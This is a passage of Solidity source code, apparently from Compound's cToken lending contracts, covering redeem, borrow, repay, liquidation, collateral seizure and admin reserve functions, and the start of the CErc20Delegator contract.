mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr)); } } else { /* * We get the current exchange rate and calculate the amount to be redeemed: * redeemTokens = redeemAmountIn / exchangeRate * redeemAmount = redeemAmountIn */ (vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa})); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr)); } vars.redeemAmount = redeemAmountIn; } /* Fail if redeem not allowed */ uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK); } /* * We calculate the new total supply and redeemer balance, checking for underflow: * totalSupplyNew = totalSupply - redeemTokens * accountTokensNew = accountTokens[redeemer] - redeemTokens */ (vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } /* Fail gracefully if protocol has insufficient cash */ if (getCashPrior() < vars.redeemAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the redeemer and the redeemAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken has redeemAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(redeemer, vars.redeemAmount); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[redeemer] = vars.accountTokensNew; /* We emit a Transfer event, and a Redeem event */ emit Transfer(redeemer, address(this), vars.redeemTokens); emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens); /* We call the defense hook */ comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens); return uint(Error.NO_ERROR); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount); } struct BorrowLocalVars { MathError mathErr; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { /* Fail if borrow not allowed */ uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ comptroller.borrowVerify(address(this), borrower, borrowAmount); return uint(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, borrower, repayAmount); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint repayAmount; uint borrowerIndex; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; uint actualRepayAmount; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) { /* Fail if repayBorrow not allowed */ uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0); } /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED"); (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED"); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex); return (uint(Error.NO_ERROR), vars.actualRepayAmount); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = cTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) { /* Fail if liquidate not allowed */ uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0); } /* Verify cTokenCollateral market's block number equals current block number */ if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0); } /* Fail if repayAmount = -1 */ if (repayAmount == uint(-1)) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0); } /* Fail if repayBorrow fails */ (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount); if (repayBorrowError != uint(Error.NO_ERROR)) { return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount); require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED"); /* Revert if borrower collateral token balance < seizeTokens */ require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call uint seizeError; if (address(cTokenCollateral) == address(this)) { seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ require(seizeError == uint(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens); /* We call the defense hook */ comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens); return (uint(Error.NO_ERROR), actualRepayAmount); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) { return seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. * @param seizerToken The contract seizing the collateral (i.e. borrowed cToken) * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) { /* Fail if seize not allowed */ uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER); } MathError mathErr; uint borrowerTokensNew; uint liquidatorTokensNew; /* * We calculate the new borrower and liquidator token balances, failing on underflow/overflow: * borrowerTokensNew = accountTokens[borrower] - seizeTokens * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens */ (mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr)); } (mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accountTokens[borrower] = borrowerTokensNew; accountTokens[liquidator] = liquidatorTokensNew; /* Emit a Transfer event */ emit Transfer(borrower, liquidator, seizeTokens); /* We call the defense hook */ comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens); return uint(Error.NO_ERROR); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK); } ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); return uint(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK); } // Verify market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK); } // Check newReserveFactor ≤ maxReserveFactor if (newReserveFactorMantissa > reserveFactorMaxMantissa) { return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK); } uint oldReserveFactorMantissa = reserveFactorMantissa; reserveFactorMantissa = newReserveFactorMantissa; emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Accrues interest and reduces reserves by transferring from msg.sender * @param addAmount Amount of addition to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED); } // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to. (error, ) = _addReservesFresh(addAmount); return error; } /** * @notice Add reserves by transferring from caller * @dev Requires fresh interest accrual * @param addAmount Amount of addition to reserves * @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees */ function _addReservesFresh(uint addAmount) internal returns (uint, uint) { // totalReserves + actualAddAmount uint totalReservesNew; uint actualAddAmount; // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the caller and the addAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional addAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ actualAddAmount = doTransferIn(msg.sender, addAmount); totalReservesNew = totalReserves + actualAddAmount; /* Revert on overflow */ require(totalReservesNew >= totalReserves, "add reserves unexpected overflow"); // Store reserves[n+1] = reserves[n] + actualAddAmount totalReserves = totalReservesNew; /* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */ emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew); /* Return (NO_ERROR, actualAddAmount) */ return (uint(Error.NO_ERROR), actualAddAmount); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed. return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED); } // _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to. return _reduceReservesFresh(reduceAmount); } /** * @notice Reduces reserves by transferring to admin * @dev Requires fresh interest accrual * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReservesFresh(uint reduceAmount) internal returns (uint) { // totalReserves - reduceAmount uint totalReservesNew; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK); } // Fail gracefully if protocol has insufficient underlying cash if (getCashPrior() < reduceAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE); } // Check reduceAmount ≤ reserves[n] (totalReserves) if (reduceAmount > totalReserves) { return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) totalReservesNew = totalReserves - reduceAmount; // We checked reduceAmount <= totalReserves above, so this should never revert. require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow"); // Store reserves[n+1] = reserves[n] - reduceAmount totalReserves = totalReservesNew; // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. doTransferOut(admin, reduceAmount); emit ReservesReduced(admin, reduceAmount, totalReservesNew); return uint(Error.NO_ERROR); } /** * @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED); } // _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to. return _setInterestRateModelFresh(newInterestRateModel); } /** * @notice updates the interest rate model (*requires fresh interest accrual) * @dev Admin function to update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) { // Used to store old model for use in the event that is emitted on success InterestRateModel oldInterestRateModel; // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK); } // We fail gracefully unless market's block number equals current block number if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK); } // Track the market's current interest rate model oldInterestRateModel = interestRateModel; // Ensure invoke newInterestRateModel.isInterestRateModel() returns true require(newInterestRateModel.isInterestRateModel(), "marker method returned false"); // Set the interest rate model to newInterestRateModel interestRateModel = newInterestRateModel; // Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel) emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel); return uint(Error.NO_ERROR); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying owned by this contract */ function getCashPrior() internal view returns (uint); /** * @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee. * This may revert due to insufficient balance or insufficient allowance. */ function doTransferIn(address from, uint amount) internal returns (uint); /** * @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting. * If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract. * If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions. */ function doTransferOut(address payable to, uint amount) internal; /*** Reentrancy Guard ***/ /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } } pragma solidity ^0.5.16; import "./CTokenInterfaces.sol"; /** * @title Compound's CErc20Delegator Contract * @notice CTokens which wrap an EIP-20 underlying and delegate to an implementation * @author Compound */ contract CErc20Delegator is CTokenInterface, CErc20Interface, CDelegatorInterface { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token * @param implementation_ The address of the implementation the contract delegates to * @param becomeImplementationData The encoded args for becomeImplementation */ constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_, address implementation_, bytes memory becomeImplementationData) public { // Creator of the contract is admin during initialization admin = msg.sender; // First delegate gets to initialize the delegator (i.e. storage contract) delegateTo(implementation_, abi.encodeWithSignature("initialize(address,address,address,uint256,string,string,uint8)", underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_)); // New implementations always get set via the settor (post-initialize) _setImplementation(implementation_, false, becomeImplementationData); // Set the proper admin now that initialization is done admin = admin_; } /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public { require(msg.sender == admin, "CErc20Delegator::_setImplementation: Caller must be admin"); if (allowResign) { delegateToImplementation(abi.encodeWithSignature("_resignImplementation()")); } address oldImplementation = implementation; implementation = implementation_; delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData)); emit NewImplementation(oldImplementation, implementation); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return 